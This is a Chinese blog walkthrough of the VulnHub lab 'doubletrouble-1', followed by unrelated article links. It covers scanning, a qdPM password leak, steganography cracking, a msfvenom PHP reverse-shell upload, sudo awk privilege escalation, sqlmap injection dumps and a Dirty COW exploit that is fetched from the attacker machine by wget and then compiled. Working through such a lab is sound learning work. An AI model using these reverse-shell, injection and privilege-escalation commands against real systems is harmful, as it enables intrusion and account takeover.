『vulnhub系列』doubletrouble-1
『vulnhub系列』doubletrouble-1
下载地址
https://www.vulnhub.com/entry/doubletrouble-1,743/
信息搜集
使用命令,获得存活靶机IP为138,开启端口22和80
nmap 192.168.0.* #因为当前NAT模式,攻击机和靶机在一个内网环境中
访问80的web服务,是一个登录页面
又是qdPm,之前做过一个qdpm的题目,于是我们就知道了qdpm存在密码泄露漏洞。我们来看一下
searchsploit qdpm
我们发现密码泄露漏洞是50176.txt,查看,发现我们可以去http://<website>/core/config/databases.yml
这个目录下,获得数据库的用户名密码
searchsploit -m 50176.txt #将50176.txt存到当前目录
cat 50176.txt
访问后,得到用户名:密码— otis
:rush
但我们发现,靶机的3306端口并没有开,继续信息搜集
使用dirsearch爆破目录,得到如下目录,发现secret目录
dirsearch -u "http://192.168.0.138/"
访问/secret
目录里面都有一个doubletrouble.jpg
打开图片,发现图片里有我们刚刚获取的用户名和密码Otis:Rush
但目前这些信息并没有什么用,因此想到了以前做CTF时候的隐写术,丢到WinHex里并没有发现什么东西,我们搜索jpg相关的隐写术,发现有一种steghide隐写,可以在linux中使用。
Steghide 是一个可用于隐写术的工具。它允许您在音频和图像文件中嵌入秘密信息,包括 JPEG、BMP、WAV 和 AU 文件。 Steghide 允许:
- 嵌入数据的加密。
- 嵌入数据的压缩。
- 嵌入校验和以验证提取的数据的完整性。
我们安装一下,并试一下,发现需要密码
apt-get install steghide #安装
steghide info doubletrouble.jpg #查看图片信息
然后StegHide是隐写工具,现在我们是要破解它隐写后的密码,这里用到了另一个工具:Stegseek
Stegseek是迄今为止全世界最快的Steghide破解qi,该工具每秒能够处理数百万的密码。虽然Stegseek是一款轻量级工具,但丝毫不影响其功能性的强大。该工具作为原始Steghide项目的一个分支而构建,它的速度比其他破解qi快上千倍。在该工具的帮助下,广大研究人员可以轻松从使用了Steghide隐写&加密的文件中提取出隐藏的数据。
除此之外,Stegseek还可以用来提取Steghide的元数据,我们可以利用这些信息来判断一个文件中是否包含了Steghide数据。
值得一提的是,仅需两秒钟,该工具就可以跑完rockyou.txt字典。而众所周知,rockyou.txt是一个包含了超过1400万个密码的强大字典文件。
apt install stegseek
然后我们使用/usr/share/wordlist/rockyou.txt.gz
解压后的rockyou.txt
来进行暴力破解
得到密码92camaro
stegseek doubletrouble.jpg rockyou.txt
再次查看图片信息,输入密码,发现有一个creds.txt
steghide info doubletrouble.jpg
分离文件,输入密码,得到creds.txt
查看一下,得到邮箱:密码otisrush@localhost.com:otis666
steghide extract -sf doubletrouble.jpg
cat creds.txt
登录成功
漏洞利用
我们发现可以上传文件
我们使用msf生成一个php反弹木马,上传
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php
上传成功
我们使用msf进行监听,设置options
与生成的木马一一对应
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.130
set lport 4444
然后我们刚刚扫描的时候,发现有一个uploads
目录,我们访问一下其下的目录attachments
发现我们刚上传的文件已经上传成功了
我们在攻击机输入run
开启监听
访问php文件,反弹成功
现在的权限是网站权限
权限提升:
使用py
获取交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
使用命令查看带有SUID
权限的文件,发现并没有什么东西
find / -perm -u=s -type f 2>/dev/null
使用命令查看可以使用root
权限执行的命令,发现awk
命令可以以root
权限执行
sudo -l
因此我们可以借助awk
进行sudo
提权
sudo awk 'BEGIN{system("/bin/bash")}'
关于sudo
提权可以看我之前的文章sudo滥用提权 | Don_Joshua's Blog (jo4hua.github.io)
提权成功
进入到root目录……发现……还有一个靶机,将其移动到/var/www/html
目录下
输入网址+镜像名,下载,开机
http://192.168.0.138/doubletrouble.ova
第二层靶机
信息搜集:
依旧使用nmap找到存活主机
访问80端口web服务,是一个登录页面
使用之前的otis
用户名和密码,登陆失败,没有回显,可能是sql注入?使用sqlmap
尝试一下吧
漏洞利用:
首先查看源代码,用的是pos
t方式传uname,psw
使用sqlmap,存在时间盲注
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123"
使用命令,得到数据库doubletrouble
另一个是默认表
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" --dbs --batch
继续爆破表
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble --tables --batch
爆破字段
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users --columns --batch
爆破内容,得到用户名密码montreux | GfsZxc1
clapton | ZubZub99
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users -C username,password --dump --batch
然后我们登录,发现登录不上,那现在只剩一个地方了
没错就是ssh
了,使用第二个用户和密码登陆成功,获得普通用户权限
ssh clapton@192.168.0.139
权限提升:
老套路,先查看具有SUID权限的文件,发现一个exim4有些可疑
find / -perm -u=s -type f 2>/dev/null
搜一下,发现可以进行SUID提权,使用命令查看一下版本
/usr/sbin/exim4 --version
寻找对应版本漏洞,下载
searchsploit Exim 4.80
searchsploit -m 35951.py
开启apache服务,将exp移动到/var/www/html目录下
service apache2 start
mv 35951.py /var/www/html
使用靶机下载exp
wget http://192.168.0.130/35951.py
发现这几个exp都不好用
接下来查看系统内核信息
uname -a
直接上脏牛提权吧,发现我们的内核版本在可利用范围内
searchspolit dirty
重复上述过程,我们将40847.cpp
上传到靶机上,赋予执行权限
wget http://192.168.0.130/40847.cpp #靶机下载exp
chmod +x 40847.cpp #赋予运行权限
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 40847.cpp -lutil #编译一下,输出为1
运行1,得到root密码
./1 运行
使用su
切换为root
用户,输入密码,获取root
权限
成果:
获取普通权限的时候,发现user.txt
6CEA7A737C7C651F6DA7669109B5FB52
在root
目录下cat root.txt
可得
1B8EEA89EA92CECB931E3CC25AA8DE21
『vulnhub系列』doubletrouble-1的更多相关文章
- 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)
目标架构如上图 一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...
- Istio 运维实战系列(2):让人头大的『无头服务』-上
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...
- Istio 运维实战系列(3):让人头大的『无头服务』-下
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...
- 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs
论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...
- 『TensorFlow Internals』笔记_源码结构
零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...
- 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)
深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...
- 关于『进击的Markdown』:第一弹
关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...
- 关于『进击的Markdown』:第五弹
关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索. 我们要接受Mermaid的考验了呢 Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...
- 关于『进击的Markdown』:第四弹
关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好! 我们要接受Markd ...
- 关于『进击的Markdown』:第三弹
关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好! 我们要开 ...
随机推荐
- html布局浅谈
现在布局方式主要分为三种 传统css布局方案(position,float,line-height等配合).实现复杂,需要多种属性配合使用,兼容性最好. flex布局方案.弹性布局,实现方便,兼容性较 ...
- 【AnaTraf 分享】什么是 AnaTraf?为什么设计 AnaTraf?
网络流量分析与 AnaTraf "2013年,网络流量分析技术(NTA, Network Traffic Analysis)的概念被首次提出,在2016年逐渐兴起.2017年,NTA被Gar ...
- C语言:send + more = money,单词相加求解字母数字谜问题
我用的是穷举法,虽然有点笨,但是在想不到其他更好的方法对我而言就是穷举法. 有程序员大大想到其他方法也可以私信我一起探讨一下~ #include<stdio.h> int main() { ...
- java学习之旅(day.03)
整数拓展: 进制 二进制:以0b开头 十进制:我们生活中的正常数 int i=10 八进制:以0开头 int i=010 十六进制:以0x开头 0~9 A~F int i=0x10 浮点数拓展: fl ...
- 树莓派 ubuntu server 22.x 连接无线网络
前言 树莓派系统安装完成后,需要配置网络,由于家里没有多余的网线(网线多少有点乱),所以决定配置无线上网的方式,现在记录下来操作过程 具体操作 sudo nano /etc/netplan/xxxxx ...
- sass 导入@import详解
@import Sass 拓展了 @import 的功能,允许其导入 SCSS 或 Sass 文件.被导入的文件将合并编译到同一个 CSS 文件中,另外,被导入的文件中所包含的变量或者混合指令 ( ...
- containerd 源码分析:kubelet 和 containerd 交互
0. 前言 Kubernetes:kubelet 源码分析之创建 pod 流程 介绍了 kubelet 创建 pod 的流程,其中介绍了 kubelet 调用 runtime cri 接口创建 pod ...
- NumPy 正态分布与 Seaborn 可视化指南
正态分布(高斯分布) 简介 正态分布(也称为高斯分布)是一种非常重要的概率分布,它描述了许多自然和人为现象的数据分布情况.正态分布的形状呈钟形,其峰值位于平均值处,两侧对称下降. 特征 正态分布可以用 ...
- 基于Python的性能优化
一.多线程 在CPU不密集.IO密集的任务下,多线程可以一定程度的提升运行效率. import threading import time import requests def fetch_url( ...
- Dubbo SPI扩展机制源码详解(基于2.7.10)
Dubbo SPI 一. 概述 本文主要分享 Dubbo 的拓展机制 SPI. 想要理解 Dubbo ,理解 Dubbo SPI 是非常必须的.在 Dubbo 中,提供了大量的拓展点,基于 Dubbo ...